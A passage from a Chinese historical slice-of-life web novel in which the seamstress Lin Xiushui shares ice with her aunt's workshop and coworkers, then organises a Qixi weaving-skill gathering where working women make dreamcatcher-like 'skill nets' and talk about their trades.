林秀水掂了掂,应当有两三斤,这会儿鲜的鸡头米正贵,生吃很脆嫩,熬汤不用久炖,很有嚼劲。二是从平江府来的晒干后的鸡头米,又叫芡实,这种上面红底部白的干芡实,也称苏芡,煲汤要久煮,耐放又好吃。 她推辞不过,人家送冰的伙计还在等,只好将布袋拿在手里,赶紧出去。 最后两桶冰送到王月兰在的织锦作坊里,林秀水特意打听过,在丝行后面过一条街的作坊里,她给了伙计三文钱,叫他帮忙提着冰桶,自己拿两桶汤,一是沙糖绿豆,二是卤梅水,走在窄巷里。 守门问她找谁,她说找王月兰,前些日子新来这里织锦的。 人家去叫了,王月兰急匆匆跑出来,她跑得可快了,鞋子差点跑掉,两边脸通红,呼哧呼哧喘气,忙问:“怎么了?” “姨母,给你们送两桶冰和凉水来,拿去给大家吃,”林秀水给她扇风。 王月兰急道:“送来做什么?净花些冤枉钱。” “才不是,”林秀水也热得淌汗,还要朝她逗趣,“这不是给的冰费,叫人多多照顾你。” 其实林秀水当真这样想,她姨母只是偶尔透露两句,教织锦的不大上心,又没熟人,大家只管忙自己的事,她是后进来的,摆弄不来织锦的机子,人家想着同她不熟,也不愿意指点。 林秀水记在心上,之前想不出好的法子来,这会儿送冰送凉水,吃人嘴软,总能给点面子。 王月兰沉默,她的心像天上的云,又凉又软,伸手接过,她往前走说:“靠你这两桶冰,我怎么也能混出头来。” “姨母你没混出头也可以,反正之后我会到处跟人说,我有个织锦的姨母叫王月兰,人家会说你相当厉害,”林秀水跟在后头,一味夸奖。 王月兰受不了她这嘴,用力提着冰桶,想笑也只能憋着,到织锦处里请大家来喝,在炎热且闷,织机又隆隆作响,错一根经纬都不可的地方,众人烦躁又烦闷。 忽而得了冰,能喝上一碗凉水,大家喜不自胜,自己拿了碗过来盛,林秀水则说:“是啊,这是我姨母,她总说这里大家好,即使她刚来不大会织锦,也细心教她怎么认花本,看机子,认三经二纬线,她心里过意不去,叫我送点东西来。” “哪里哪里。” “叫你说得不好意思,这到了织锦作的,都是自己人,我们肯定会好好教的。” 大家听了假话也飘飘然,忙说肯定会指点一二的,这得了人家的冰,又吃了凉水,总得拿出些本事来教。 王月兰下了工,拿四只桶回来,一屁股坐下喝了两大碗水,才将憋了一肚子的话咕噜噜倒出来。 “我说原来怎么一点瞧不懂,总是听得稀里糊涂的,大家都有自己的法子,”王月兰真的很兴奋,手一直在挥舞,脸上也有了这段日子来真切的笑容。 “我今日下午听大家说了后,我终于看懂那个机子,怎么穿经纬线了!” 她来路上坐的船,摇着摇着差点迎风流泪,听了好久总是稀里糊涂,夜里左右睡不着,觉很浅,时常会想自己真的能走对路了吗? 今日却忽然开窍,原来不是她笨,是那些法子没人教她,她根本就不懂,到底面经、底经该怎么穿,纬线要怎么放进去,机子到底该摇哪边,这些上头的东西是什么呢?动哪里才可以? 在今日得到了答案,她豁然开朗,仰头看提花机,又看自己的手,看穿好的线,听大家说是对的。那种不确定的,时常怀疑自己的念头,开始渐渐消散,她真的可以做到。 压根没有那么难。 林秀水将碎冰倒在盆里,她指着碎冰跟王月兰说:“姨母,这就叫破冰。” “冰块硬不怕,团成一整块还可以打破,破了大家会聚在一块了。” 王月兰听得迷迷糊糊,不过却欢欣鼓舞地说:“大家确实挺好,都愿意教我些东西,我肯定能学会。” 林秀水笑了声,破冰行动很成功。 转日来了五桶冰,她要送一桶给桑英,没想到桑英也提了一桶给她,两个人在桥上碰见先低头看对方手里的,又继而看自己的,哦豁,撞上冰了。 “这不昨日刚拿到工钱,”桑英笑嘻嘻,“我想着有钱赚就不要怕舍不得花,几百文的冰算什么,买它。” “我的冰便宜,”林秀水把冰桶放她腿边,又道:“换你一桶贵的,你明天还能得到一桶,以及林秀水牌定制凉帽。” “什么东西?” 桑英送米戴帽的,只不过那竹帽又闷又热,她一戴低头会掉,总要动手反反复复扶正,总容易晒到。 林秀水叫黄阿婆给她编了顶正好的草帽, 布做得闷,不如宽边草帽凉快,不会往下掉,遮光,视线看得清。 反正桑英用过后很满意,当真是林秀水牌定制好帽。 林秀水还送了两桶冰给缝补廊棚的大家,她这段日子又忙又热,不大过来摆摊,可大家都念着她,什么好的也总想着她。 就是这里热,人来往少,不过图个热闹,想多赚些钱,都守在这里,该补得补,该缝得缝,天热人少,生意不大好做,大家至少之前赚过不少,没有以前那么发愁。 “等秋天里,天凉快下去,生意会回来的,”林秀水擦了擦汗,将冰桶放下道,“信我准没错,到时候我给你们扛幌子。” “那当然要信,你个丫头,买冰做什么,钱多得没处花了,”黄阿婆急道,“我们都一大把岁数,又不怕热,正好出点汗。” “我热,”老算命说,“我就稀罕。” 大家一句又一句,林秀水赶紧打住,“都别说了,这冰不能吃啊,放水到上头冰一冰,能解暑热呢。” “实在舍不得这钱,就等冰化了,水大家都分走,别喝啊,这叫肥水不流外人田。” 有人疑问:“这话对吗?” 林秀水才不管,什么对不对,她要上工了,另外两桶冰送到缝补处和抽纱绣。 裁缝作是不买冰的,这么多人,每间屋子要放两三个冰桶,一日得花五六贯,庄管事算过这笔账,根本花不起。 她们最多是买了给灶房,让大家煮了解暑的汤,放在冰上,送到各大屋子里。 送过来的时候,都是闷出来热乎乎的,又不大好喝,没想过林秀水这么大方,直接买了两桶,每个屋子一桶冰,还有外面送来的甘豆汤。 “完了,”小巧说,“我娘老说我不开窍,我这下开窍了,我都要爱上我们管事了,我想嫁给她,咋整。” “人之常情,”小春娥回了句。 “很难不爱上,”小七妹说,“真给我们花钱。” “还带我们挣钱。” 林秀水使劲摇团扇,她说:“别说话,赶紧喝,热了就摸把冰呼脸上,这会儿不困了吧,不困就抓紧做,困了就睡会儿。” “离七夕还有六日,这些巧网已经定出去了,大家能拿到不少于五百文的钱数,不包在月钱里。 “以后每日都有两桶冰,天热,抽纱又远远要累很多,再撑会儿,明日带帕子来,浸冰水里洗一把脸会舒服很多。” 林秀水看底下一群人专注地看她,搓了搓手,“干自己的活去,给你们弄得起一身寒毛。” “那正好,不怕热了。” “毛多更怕热。” 这种巧网定出去了,以几十到两百文的价格,那么对于穷苦的女子来说,林秀水曾说过巧网的计划,显然是失败的。 她也要保证抽纱绣的大家,辛勤付出得有回报。 她还有个法子,既然织巧网今年不行,那么就让大家自己做巧网,什么蜘蛛定巧,人自己想做多少巧就做多少巧。 那就是做捕梦网。 只需要一个竹圆架,比绣绷要再薄许多,再加上几条麻绳,一条麻绳缠裹住竹圆架的外围,另外用很细的麻绳,在里面编织缠绕,一个七文钱就行。 里面的法有许许多多的织法,还可以自己装饰,下面缀珠子,或者羽毛,能一年挂在房里,挂一个,挂十个都可以,得一个巧,得一百个巧都行。 这种法子林秀水自己没办法将摊子铺得很大,她依旧要跟顾娘子说:“我们抽纱绣可以给富贵人家娘子,织各种巧网,我觉得这种法子,又省钱又不费事。” “还能帮裁缝作将名声打出去,我觉得能在七夕当日办一个织巧会,倒过来是会巧织的意思。” 顾娘子侧过脑袋看她,又坐正身子,拿着手里用细麻绳也编得很精巧的网,屋里弥漫着沉默,而后她慢慢地开口:“你图什么呢?” “我想人定胜巧,”林秀水坐她前面说,“一年等蜘蛛结网就一次,一次不得巧,这一年里,只要想到七夕,就会想到那张破网。” “可是明明,我们是能自己织网的。” 她觉得乞巧不好,为什么不能是争巧,不能是斗巧,不能是一同向巧。 林秀水语气坚定地说:“想要叫大家来参加,抛出点噱头来,像是扑买那样,买自己编的巧网七文钱,能抛开固有的编法,编得精巧的能得到两贯钱,我可以出这笔钱,或者一套衣裳、发圈、玩偶、绢孩儿,我有的,我都可以作为奖励,这是争奇斗巧,不是乞巧。” 顾娘子看她,好像已经不大记得起,半年前的林秀水了,她突然就长成了眼前的模样,坚韧又有勃发的力量。 她思虑过后说:“行,那就大办特办一场。” “交给你来办。” 顾娘子又开口道:“再加一个条件,得胜前三名,到裁缝作里学手艺,第一月里就给两贯的月钱。” “其余七名,每人一套自己的衣裳。” “余后六十名,让裁缝作采买你的发圈、绢孩儿,送给大家。” 林秀水想想后说:“应当更要给不怎么手巧的人准备东西,织巧会是为了七夕,那么其余则是为了一同向好。” 她更想办的是同好会。 第68章 第 68 章 千千万万种巧【上】 办这种集会, 那是相当不容易的事情。 在哪里办?怎么办?人手呢?能有多少人过来参加?准备多少东西?等等。 诸如种种问题,林秀水一一解决。 裁缝作里不能办,那就出去办, 镇里许多东西都可以租,酒器、帏设动用、盘合、丧具、喜具等等,尤其是租屋。 林秀水已经有了经验, 她租过屋,又想买铺子,时常会在下工时,路上乱逛能看见, 有些墙上张贴着赁贴,全是租房告示。 什么房源都有,连倒闭的书院也在其中, 裁缝作边上曾经有三家书院,两家搬走了,一家是真的亏损关门,至今没人愿意接手。 书院好,课舍多,桌子多,几百人都坐得下, 林秀水找房牙子说租一日, 两百文钱就行, 只是里头积了许多灰, 要打扫干净。 办这场会给了五贯银钱,林秀水去了帐设司,除了送缝补处缝好的桌帷,她找张小四走关系。 “有一大批的桌椅板凳要擦干净呢, 你们四司六局里,排办局不是专门做这个的,我就寻思过来问问,能不能便宜点?” 排办局负责插花、挂画以及擦桌椅等活计,手底下人有几百个,林秀水对此门儿清,她就是贪图便宜,能省则省。 张小四想想后说:“我去给你问问,给你保管最低的价,三百文肯定是要的。” “那你们帐设司再给我们搭个棚子,这会儿不是有扎乞巧棚的,我们不要乞巧,给我们扎织巧的,”林秀水边说边低头,右手从挎包里掏出张纸递过去,上面画了个尖顶棚子。 帐设司也有搭各种各样棚子的匠人,张小四接过来一看,笑了声,“成,给你算便宜些,布你们自己出,扎的话包木料是六百文。” “扎完隔日就拆,木料还给你们,返点钱呗。”林秀水讨价还价,谁要留着棚子过夜。 张小四每次跟林秀水谈生意,总要警惕她来两句话,一是便宜点,二是这个价不行,再高点。 前者是她到帐设司谈生意,她要便宜货,后者是帐设司跟她谈生意,那真是跟裁缝上身了一样,寸布不让。 “行行,返你两百文,别说了,真是实诚价了,”张小四嘀咕,要不是看在林秀水当真很负责任。每次交给她们缝补处的东西,总是能最快最好地完工,不会让帐设司一遍遍催促,她又时常帮帐设司补些难的物件,是没有拆了木料还返钱的理。 林秀水勉强满意,有排办局和帐设司出面,租办的地方不用费心,她宁可花钱,也不愿意叫裁缝作里裁缝,苦哈哈地下工后帮她的忙。 这不是帮忙,是结仇。 至于其他的,那天人手不用愁,做巧网的竹料,林秀水找廊棚的大家帮忙,周阿爷喊了他一儿一女来做竹圆架,暂定是五百个。 麻料到麻行买去,林秀水之前做麻袋染色生意,跟那边来往多,买几桶麻绳,生意做得相当顺利,麻绳又细又好。 在转日晌午裁缝作吃饭时,有娘子关切问道:“这关口处办个会的,你吃不吃得消哦?” “对啊,有什么要帮忙的,尽管说啊。” 林秀水等的就是这句话,她先扒两口饭,而后才道:“其他我已经弄完了,还有件事。” “一日, 才一日你弄完了?” “老天,你真弄完了?” “对啊,都跟顾娘子说过了,”林秀水饿死了,她说几句,赶紧吃两口饭,“我还有忙找你们帮呢。” 她从兜里掏出大半叠的彩纸,命名为巧纸,站起来挨个分一分,“大家都出去发一发,这个是做蚕花的纸裁了的,在蚕花娘娘庙前供过的,叫作巧纸。大家边上有人想要来织巧会的,就发张给她,拿着纸过来。” 裁缝作里的娘子认识的人,林秀水可不单单在裁缝作里发,她还要去乞巧市里发。 每年从七月初一到七夕,在小南城门边上,会有各种买卖七夕器物的摊子,从而汇聚成市,热闹非常,车水马龙,当然没有马,也没有龙,只有驴子多。 林秀水要去摆摊,赚钱和办织巧会,她两头都不耽误,钱要赚,会要办。 就是抢摊子有点难,王月兰和桑英两人手拉手,硬生生挤到人群里,两人手能拉多长,摊子能有多大。 小荷吭哧吭哧提着一大包发圈,摇摇摆摆走在林秀水后头,她边走边脑袋乱晃,嘀嘀咕咕道:“要磕头吗?要在哪里磕头?” 别人说乞巧,她以为乞讨。 还在包里装了口破碗,虽然不知道家里越吃越好,怎么要乞讨,但林秀水说什么,她听什么,并且下定决心,她要把讨来的钱全给阿姐。 林秀水压根不知道她想什么东西,自己抱着各种要买卖的物品,看陈九川一手拎桌子,一手拿老重的裁缝工具,挤进人群里,这年头自愿要当苦力的,当真不多见。 乞巧市里来来往往女子多,陈九川摆好东西,贴着墙边站得笔直,他说:“我想走。” “没不让你走,”林秀水抬头看他一眼,“你站墙根上干什么?想飞檐走壁?” “我想。” 陈九川还是先走为敬,他躲船上去。 林秀水抽空看他一眼,没空管他了,她真的要赚钱。 市集里人满为患,女子来往那么多,林秀水做了许多发圈、发带,也有各式绢孩儿、猫玩偶,她除了发巧纸外,还准备接点做衣裳的活,两不耽误,不能错过这个好时候。 她在桌子上放了个小架子,将粉绿、黄蓝、紫黄、粉白、红黑、橙红蓝等等颜色的发带、发圈一一摆在上头。 王月兰淌了很多汗,她看了眼边上,小声说:“我特意瞧过的,左边是卖象生花的,扎头上的,右边是卖各种耍货的,两边吆喝得起劲,我们就省了力气。” “白赚了人家的吆喝声。” 林秀水也看了两边一眼,其实不吆喝,人过来也能看得见,毕竟真的很少能见这么多的人,跟下小雨的雨点一样密集。 “这是什么?”有一个小娘子兴冲冲跑过来,她半弯着身子往架子上瞧,“是发饰吗?我可以戴吗?” 林秀水先打量她,脸圆圆的,梳着流苏髻,只有两根橙红的飘带,穿了白纱褙子,橙红的抹胸,下身裙子是紫的,她笑了笑说:“当然可以,我这里有照子,等会儿可以照一照。” 小娘子用手拨弄发圈,她没有找到想要的颜色,又喜欢这别致的样式,林秀水则是找出橙红色的长布说:“我可以给你现做,十文钱一条。” “啊?这可以现做?”圆脸小娘子惊讶,她又用手捂住自己的嘴,左右看了看,小声说,“对不住,我以为这是从临安府采买来的,原是你自己做的。” 林秀水冲她笑,指指自己的针线盒,“对啊,我是裁缝,这全是我自己做的。” 又给她一张橙红色的巧纸,“这是巧纸,希望你走巧运,白送的,你要想来我们顾家裁缝作里织巧网的话,可以拿着纸过来。” “我们今年有织巧会,能织出不一样花色的,前七位得到很多巧纸的,可以到我们裁缝作里来,一个月有两贯银钱。” “没有得到许多巧纸的,我们会送巧果、巧绳、巧花等等。” 那小娘子听得稍稍睁大眼睛,“真的吗?你们不巧的,也送东西吗?” 她手就不大巧,年年逛乞巧市,就为了挑只最好的蜘蛛回去,即使她特别害怕蜘蛛,也总是期盼蜘蛛能结个圆网出来,让她别往后的一年里,日日被她娘唠叨。 “对呀,”林秀水拿出发圈纸样,看了眼她的发髻,从中选出个大的来,低头剪布的时候说,“要论巧这种东西来,心思慧巧也是巧,得了巧纸是巧,自己做巧网是巧,怎么不算得巧,当然有东西送了。” “我要去,你能再给我几张吗,”圆脸小娘子蹲下来,悄悄地说,“我还有几个姐妹,我们也去。” 她叹口气,“我说我们几个,是七夕鬼见愁。” “别人想送穷神,我们不大一样,我们想送走全世上的蜘蛛,通通送走,什么女儿节,那叫不巧的人白受罪的节啊。” 林秀水笑了声,桑英也蹲下来说:“是啊,我从前也不喜欢过七夕,谁喜欢蜘蛛这东西,不能看它会吐丝,就把人家当织女。我要是织女,我非得把大伙全给告了。” 两人真是越讲越激情澎湃,一个说要把七夕蜘蛛打包扔远点,一个说告御状去,首先从前朝开始告起。 林秀水在此期间卖了十个发圈,发了二十六张巧纸,缝好了橙红色的发圈,那小娘子蹲得脚麻,站不起来,骂了一通,嘴巴和心里倒是痛快了。 她戴上了发圈,林秀水伸手给她调整下,剪拉了拉垂下来的发带,又拿镜子给人家。圆脸小娘子晃了晃脑袋,惊喜道:“哎,这垂的真好看,我以为抽褶的发圈会很奇怪,没想到让我的发髻前头蓬了些。” “我还想要这个颜色,你能给我多做几个吗?我要上哪找你去?” 这里支摊是不固定位置,全靠抢的,所以明日林秀水也不知道在哪里摆摊。 林秀水低头在纸上写,“你想找我做的话,早上来桑桥渡桑树口来,见了廊棚和老桑树,往里走第二家就是。” “我不仅会做发圈,我还可以做衣裳,你如果想要橙红色的话,能做一条百迭裙,抹胸的话,我手里有方胜纹的橙色料子,你要的话,得早上卯时到辰时边上来。” 林秀水给自己招揽生意,又想叫别人穿上喜欢颜色的衣裳。 圆脸小娘子就喜欢橙的,市面上橙色衣物不大多,给她穿又不合身,她人有些矮,裙一长就得拖地。 她惊喜地说:“真的吗?我很信你,你穿得就很好看。” 林秀水今日穿的蓝色上襦,裙子是蓝纱套黄纱,层层叠叠,绑了绿色纱缎的长裙带,她又给自己绑了蓝、黄两色的发带,很突出,叫人很信服她的审美。 她又得到一位长期做衣裳的主顾,隔着两条巷子,三条河过来找她。 市集里的生意好做,林秀水东西卖得很快,天没黑便卖了大半,没数多少钱,估摸着有一贯多,快两贯银钱。 巧纸也给了百来张,其中有两位中年娘子,说要给自己的女儿讨一张来,又说自己年纪太大了。 林秀水则多给了几张,她说:“我们这个会,是不论年纪的,十几岁能来,三四十也可以来。” “我们裁缝作里,有不少三四十岁的,只看你们想不想来,没有丢不丢脸的。” “我们也能去?”中年娘子搓了搓手上的汗,“我醋坊里酿醋的,六月里又去晒酱、晒鱼鲞,我们算是粗人了,就算会缝补点衣裳,也是粗人一个。” 林秀水干脆道:“我们送东西,不仅送巧果,还送巧蛋。” 她临时决定了,她要去薅李习闲的羊毛,她要鸡蛋、鸭蛋。 “送蛋、送巧果?” 两位中年娘子异口同声,什么丢脸不丢脸的,先去了再说。 毕竟没有办法拒绝一颗蛋。 “你们裁缝作里这个织巧会,谁都可以去?”有个估摸着三十来岁的娘子走上前来,她在边上听了许久,才走过来问一句。 她摸摸自己的手,有些厚茧子,又想去瞧瞧,她以前就是个爱凑热闹的人,只是怕里头不让进她这个行当的。 “我是打纸作的,就是那个,那个凿纸钱,”瘦娘子说。 林秀水请她坐下,“用铁凿子吗?我也有把,不过是圆孔的,我用来凿布做孔眼的,凿纸钱也累吧?” “不累,”那娘子脸上立即有了神采,“我是我们行当里凿纸钱最厉害的,我们的铁凿子底是铜钱样式的,我可以一次凿百张纸钱,保管每一张拿出来,都打上了孔。” “那可太厉害了,”林秀水真心实意地说,百张纸钱哪怕薄,也有四根手指加在一起的宽度,相当厚实,能一次凿透,需要巧劲更需要下苦工。 她立即道:“我们 织巧,不只是织巧网,也是趁此将各种能工巧匠聚在一块,这叫织巧会。” “娘子你一定要过来,你这叫有能耐不在脸上,都在手里。” 那娘子被她说得相当高兴,从来没有人认可过她的本事,毕竟凿纸钱是很小的活计,小到千百张纸钱烧得一干二净,也不会有人在意,上面的孔是人挨个凿出来的。 只是她们做什么工,就在意什么,凿纸钱虽小,是曾经练了又练,才能一次凿上百来张。 等这娘子走后,林秀水又碰见一个扎利落发髻的女子,她也接了过来,说自己是个女郎中,能治些寻常人家不会得的病。 “是什么?”林秀水好奇。 她微微笑道:“是缝缺唇和切骈指。” 会用针、刀、镊、钩,缝上缺失的唇瓣,切去多余的手指。 林秀水震惊,这才是缝补的高手。 她也是在送巧纸的时候,走出桑桥渡,在这人潮更多的地方,才知道大家很多从事着许多微小不被注意的工种。 有冥器作的,有妇产科的,有做超度的,也有做促织盆、梅子酒,世上最好吃的油饼等等。 织巧会将大家聚集起来,让她们也能说一说别样的巧事,告诉其他年轻的小娘子,巧有千千万万种。 第69章 第 69 章 千千万万种巧【下】 七月初一到七夕这几日里, 林秀水在乞巧市里发了两百八十五张巧纸,其余裁缝则给出三百多张。 到的人应当只有一半,租下来的书院有二十来间屋子, 每间课舍能坐五十人,林秀水只请人打扫十间屋子,她清楚不会超过七百人。 但裁缝作的人很担心, 有两三个人走过来,围着林秀水小声说:“会不会没多少人来?” 领抹处的小环说:“哎,我昨夜真睡不着觉,想想把我两个姨母家里的四个妹妹拉过来, 充充人数。” “我也怕,场子搞得大,棚子也搭起来了, 人只零星来几个,可咋整。” 几日以来,有一部分人则是说风凉话,认为不办最好,办了又吃力不讨好,一部分人则觉得凭什么不办,七夕本来就是女儿节, 大家一起过节怎么了。 中立的人则想的是, 不办也行, 办也可以, 叫我帮忙便去帮忙。 还有只想编网的,觉得比蜘蛛结网有意思。 这么多人吵了又吵,她们美其名曰辨会,跟辩论布好不好一样, 搞得林秀水躲出去吃饭的,她怕别人口水喷到自己碗里。 所幸随着七夕即将到来,大家终于停止了口舌论战,开始忙活起来。织巧会的棚子搭了起来,大家拿出自己留存的各色布条,不论颜色,一条条放在筐里,等外头其他娘子过来后,绑在上头。 花朝节有在树上绑红布,挂红的习俗,林秀水说那七夕怎么不能绑彩布,挂巧呢,论偏门的东西,压根没人说得过她。 “玉簪花来了!”有娘子高声喊着,她推着车过来,车架上放了十几个竹篮,上头是白色和紫色的玉簪花。 “我娘今年种了一个园子,上月起陆陆续续开了,正愁上哪里去卖,可让我们搭了这阵东风,”高个娘子笑眯眯地说,她停下车,两手各挎两只篮子。 其余娘子闻言看过去,有人笑道:“我们有没有?” “有啊,”林秀水冲她招手,“蔡娘子要的话,先来挑,大家都来挑一朵。这个月的花神是玉簪花,我是占了人家李娘子的便宜,她娘可是种玉簪的好手,不然哪有那么新鲜便宜的花。” 这些娘子们欢欢喜喜先挑一朵,叫别人帮忙簪上,簪的时候有拿巧纸的娘子早早来了,她们很热心招呼着,“过来呀,先簪朵花。” “给我们簪的花吗?” 母女两人走过来,其中年纪大些的说:“我不簪了,我陪我闺女来的,听说你们这里办什么织巧会,来凑个热闹。” “怎么不簪,娘子你簪朵紫的肯定好看,”林秀水提了一篮子花过来,顺手挑一朵紫玉簪花,交给她边上年轻的女儿。 十三岁的女儿也笑,晃晃花说:“娘,你低头,我给你簪上,你等会儿再给我簪。” 她娘低了头,簪上花后眉梢眼角全是笑意。 陆陆续续来了人,初时只在船上瞧,而后三三两两拉着手走了过来,就问是在这里做织巧会吗,一说要簪花,挑花选花,笑容真切,场面登时热闹起来。 “你帮我戴,簪边上点,是左边,左边好看。” “这花好看,我今天还簪了榴花呢,刚好能再簪一朵。” 大家热热闹闹挑着花,又去挂彩条,两样下来,都搭了话,相熟起来,再到书院里头,找个课舍坐下来。 光是辰时边上,便有七八十位娘子过来,年纪大的三四十岁,年纪轻的十一二岁,大点的娘子笑道:“不得了,我女儿都二十了,我来这里跟你们小丫头凑热闹。” “唔,”有个十二岁的小娘子转了转眼睛,她好奇地问,“这不是女儿节吗?不是要乞巧吗?娘子你们年纪大了,也得讨个巧吗?” “哈哈哈哈,我们以前是做女儿的人呐,”娘子面色温和地说,“眼下有女儿,我们更应当过女儿节嘛。” 另一个娘子说:“我们可不讨巧,我们是来玩巧的,别看我四十有二的年纪了,我打小就怕蜘蛛,每年要让我娘先拉开盒子,我躲外头屋子里去。” “年年网都是破的,搞得我恼火死了,恨不得自己上手织个网,后来我有女儿了,我们不玩这一套,买个网套上就说得巧了。” “真的吗?这样也可以?”一个十四岁的小娘子忙问,又低头叹气,“哎,年年整这一出,我可不喜欢过七夕,更不喜欢乞巧,又是穿针,又是结网。” “我手巧不巧,谁不知道,一年三百六十来日,非得要逮着这一日,用蜘蛛结网告诉我,我不得巧,谁不气!” “我真恨不得,自己怎么不是属蜘蛛的。” 年轻有年轻的烦恼,为一个破网也要愁上半天,哀哀怨怨,自己怎么不得巧。 忽而听见能自己做巧网,一个个跑过来,坐在课舍里头,有的满心欢喜期待,有的则低眉垂目。 一间课舍零零散散坐了三十几人,等的工夫里,年纪小的趴在桌子上,哎哎叹两声气,“我手打小就不巧啊,这巧网我瞧着我也做不来。” “我娘说手要是不巧,当真一点出路也没有。” “放屁!” 她前头坐着的壮实娘子骂了一声,屋子里原本七嘴八舌的说话声,忽然收住,鸦雀无声,有人还真耸了耸鼻子,嘀咕了句没有啊。 先前说话的小娘子脸迅速发红,连连摆手,想站起来解释,却听壮实娘子说:“这手不巧,关出路什么事,不巧就不巧,你知道我是做什么的不?” “什么?” 壮实娘子说:“我是青果行的,我打小手就粗笨,洗件衣裳也能搓两个大洞出来的。我娘说,我往后可怎么办才好,嫁了人洗衣做饭样样不行。” “那又怎么样,我手不巧,我就练眼睛,练嘴巴,”壮实娘子说,“我们青果行有百来样果子,我全能认识,哪个果子哪一处地方来都知道,罗浮橘、洞庭橘、匾橘、衢橘、金橘、蜜橘等等。” “还有巧柿、绿柿、火 珠柿、红柿、榄柿、方顶柿、红柿,那么多的果子,打眼一瞧便清楚,跟手巧不巧,女红好不好,并没有多大干系,照旧能有口饭吃。” 那小娘子搅着裙子上的绳结,她内心茫茫然,可这跟她家里说的不一样,手不巧连织布都没法织好,在镇里连个活计也接不到,更别提嫁人的日子了。 “真的吗?”她小声问,她每年这个时候,总对以后充满担忧和恐慌。 “怎么不算真的,”另一个娘子走过来,坐到她旁边的空椅子上,“我手也不巧,只是我没这娘子厉害。” “我也算半个青果行的人,我们是镇门外边,荷子巷的,每年夏天里,捶打莲蓬为生的,有人摘莲蓬,我们打莲蓬取莲子,再卖给镇里果子行的。” 那娘子笑笑,将手摊在桌子上,指节粗大,边缘长期有打莲蓬留下来的,浸染黄绿色的污痕,洗也洗不干净。 “我本来也不想过来的,我说自己是粗人,又不是巧手,”那娘子说,“可给我巧纸的,就门口的小娘子,她说这是能养活自己的一双好手,叫我也来跟大家说说。” “我又不识字,什么道理啊懂得又不多,能说什么呢。我们这夏天捶莲子、鸡头米,秋天要去挑藕剪藕,到西湖那里去,她们种了那种塘藕,一节最好,两节还凑合,三节就差了,差了人家说给剪成一节不就行了,照旧是好藕。那我也想啊,手又能捶,又能剪,还能吃饭的,怎么不算是好手。” 这一番话说得屋子里大家一阵笑声,当即有人拍掌赞同,说到心坎上去了,便陆陆续续有人也说自己的心里话。 原本还聊自己家孩子、官人、婆母,各种气人的事情,渐渐地,转而说自己是做什么的,年轻的时候怎么样,也走了多少弯路,才走到今日来。 这股风气逐渐蔓延至一间又一间的课舍里,三百多号人议论得热火朝天,离得老远也能听见,估计早就忘了今日来做什么的。 一旦有人能听她们讲述,那么整个课舍都将充满她们的故事。 林秀水在屋外拿着做巧网的用具,看了眼天,倒是还早,不急着进去打搅大家,她也一个个听过去。 她站在两间课舍中间的廊柱旁,听左边的课舍里,有个女郎中说:“我啊,其实我这个行当你们肯定听过,但是不清楚怎么做的,我是做催生丹的。” “按我们这行的话来讲,叫作生理不顺,产育艰难,其实就是难产,除了稳婆的顺位手法外,也要吃丹药的,主要能保女子生下来。” “对啊,我看这里来的女子多,就过来说上两句,怀子多艰难,康健已经很难得了,就别管这手巧不巧了。” 而右边课舍里的有个娘子一开口,底下大家不说话了,全听她说,她是净发社的,也是帮人家梳剃头发的,尼姑、僧人,还有些人要剪些头发卖了,供人做义髻的,也便是假发髻的。 粗略一间间听过去,这些混于市井里的娘子,各有各的本事,有的是做牙膏的,那种上好用苦参做的牙粉太贵了。她做的是用新鲜柳枝剁碎后,加水倒在锅里一直熬,再混姜汁的那种,她说话比较粗,说这玩意有手就能熬,压根不管巧不巧的事。 也有修香浇烛作的,通俗点来讲,做蜡烛的,人家说熟能生巧,闭着眼都能把蜡烛浇灌好。 还有跟姜打交道的,年年种姜收姜卖姜,或者是其他许多大家看不见的,却用得上的,做胭脂的,泥面具风药铺里挑泥的,做促织笼儿的等等。 对于这些年轻的小娘子,时常要待在家里,练习女红,过节才能出门,嫁人才有频繁交际的,平常最多关注胭脂水粉,衣裳头面的。 此时听了这些娘子的言论,心里总是有着难以言说的感触,外面原来有这么多这么多的行当,而这些行当里,都有女子在做。 而这些年长些的娘子,她们过了一半的人生,好和坏,各种风雨经历过很多,在七夕,又是女儿节的时候,能说上自己走过来的这段路,对她们来说,也是种别样的认可。 这个织巧会将平常擦肩而过,或许是永远不会遇见的人,像网一样织在一起,聚在一处。 “还进去吗?”裁缝作的娘子用手戳了戳林秀水,大家真是越说越起劲,再不进去,得说到天黑。 林秀水腿都站麻了,她动了动脚,拿起放了巧网的桶说:“进去吧。” 织巧网还是要织的,她随意进了间课舍,里面几乎坐满了人,她也不打怵,笑着说:“我们话可以边做边说,毕竟要应个景嘛,七夕也一年过一次。” “蜘蛛不喜欢,那我们就自己做织女,编个网出来。” 林秀水边说边发竹圆架、麻绳,大家低头赶紧拿了自己的东西,她挨个分完,又把自己做好的网拿在手里,外层包了麻绳,里面是一张编好的网,她编了好几张不同的网。 她知道大家奔着什么来的,有些奔着白送的巧果和蛋来的,有些想要巧网,有的则是她请来说一说自己正在做的营生的。 几乎很少有人想靠巧网,进到裁缝作里来,或是在这结识同好的,所以林秀水在大家编绕麻绳的时候说:“可以随便怎么编,编得要是精巧的话,大家手里能得到巧纸,能进到我们裁缝作里来,一个月能有两贯。” 大家抬头看她,又默默低头编织,主要觉得自己压根不可能进去,嘴上说得多好,自己几斤几两很清楚。 林秀水又说:“我们难得来一趟,娘子们做两个巧网,一个评选完结束后,由我们送给大家,而另一个则是请在这里,大家互相赠送,相逢即是缘,可以借此聊一聊。” “哎呀,娘嘞,我跟你们说,”有个娘子站起来说,“我觉得这个织巧会太好了,我这辈子都没碰上过这么有缘的。” “我这辈子没别的爱好,就喜欢到河边捡些小石头,那石头有的圆,有的长,有些还白得特别漂亮。别人都不懂,说我三十了,两个孩子的娘还要捡这些玩,可我今日到这里,我前面那大姐她也喜欢,我们两个说好了,等出了这个门,我们两就捡石头去。” 那大姐连连应声说:“我们这叫石头姐妹。” 其他人听完哈哈大笑,而林秀水则说:“那娘子你们两跟我说一声住哪里,我认识不少在河里来往的,她们知道哪里的河边石头多又漂亮的,我转头告诉你们。” 她将这个事情记在自己的纸上,众人一见她这架势都有些愣神,石头姐妹则连连说不值当,林秀水摆弄着网架,她说:“每个嗜好都值得。” “我认识的人里,有喜欢鸡的,有爱猫如命的,要给猫做衣裳的,有喜欢裹贴的,有爱看云的,有整日追着风跑的,这些都很好啊。” 她强调,“大家有什么想说的,都可以说,虽说是织巧网才聚到这里来的,但是我们难得一聚,就当过来玩一玩的。” “哎,真能说吗,”有个娘子抬头,她看了眼大家,想了想才道,“我其实还挺喜欢你们裁缝作的,我就住这边上的,时常能看见你们裁缝进出,想着能不能进去瞧一眼的。” 